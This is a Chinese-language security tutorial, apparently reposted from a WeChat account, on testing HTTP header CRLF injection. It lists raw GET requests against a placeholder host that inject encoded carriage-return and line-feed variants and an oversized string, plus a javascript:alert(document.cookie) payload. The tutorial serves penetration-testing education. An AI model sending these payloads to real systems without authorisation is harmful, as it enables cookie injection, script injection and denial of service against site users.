你所不知道的CRLF---header中潜藏的漏洞
声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。
前言
本文主要讲的是如何测试CRLF以及相关tips,在具体讲解之前,先简单概述一下何为CRLF:
CRLF是”回车 + 换行”（rn）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
可以通过具体案例来理解: https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html
预备知识
rn 所对应的 url Encode为: %0d%0a =============>ascii码为0x0D0x0A=============>utf-8为: %E5%98%8A = %0A = u560a ,%E5%98%8D = %0D = u560d
%20 对应空格，%3b 对应;, %3F对应？, %23对应#。
正文
-
在header中尝试注入回车换行符，例如 rn，例如Set-Cookies:%20Me
GET /Header?Parameter=rnKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
-
在header中尝试注入回车换行符，例如 %0D%0A，例如Set-Cookies:%20Me
GET /Header?Parameter=%0D%0AKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
-
在header中尝试注入回车或者换行符，例如 %0D 或者 %0A，例如Set-Cookies:%20Me
GET /Header?Parameter=%0DKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
-
尝试注入回车换行符的ASCII符号，例如 0x0D0x0A，例如Set-Cookies:%20Me
GET /Header? Parameter=0x0D0x0AKey:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
-
尝试注入回车换行符的utf-8，例如 %E5%98%8A%E5%98%8D，例如Set-Cookies:%20Me
GET /Header? Parameter=%E5%98%8A%E5%98%8DKey:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
-
尝试注入回车换行符的Unicode，例如 u560du560a，例如Set-Cookies:%20Me
GET /Header? Parameter=u560du560aKey:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
-
尝试在Header中注入大量字符串，例如 +++++++ 7000 bytes +++++++，例如Set-Cookies:%20Me
GET /Header?
Parameter=+++++ 7000 bytes +++++Key:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
-
尝试注入编过码的回车或者换行,例如: %3F%0D , %23%0D , %3F%0A 或者 %23%0A
GET /Path%3F%0DKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
-
尝试注入 /x:1/:///%01javascript:alert(document.cookie)/
GET //x:1/:///%01javascript:alert(document.cookie)/ HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
参考
https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html
https://hackerone.com/reports/335599
https://hackerone.com/reports/446271
https://hackerone.com/reports/52042
https://hackerone.com/reports/53843
https://hackerone.com/reports/154400
https://ronak-9889.medium.com/denial-of-service-using-cookie-bombing-55c2d0ef808c
原文始发于微信公众号（每天一个入狱小技巧）：你所不知道的CRLF---header中潜藏的漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论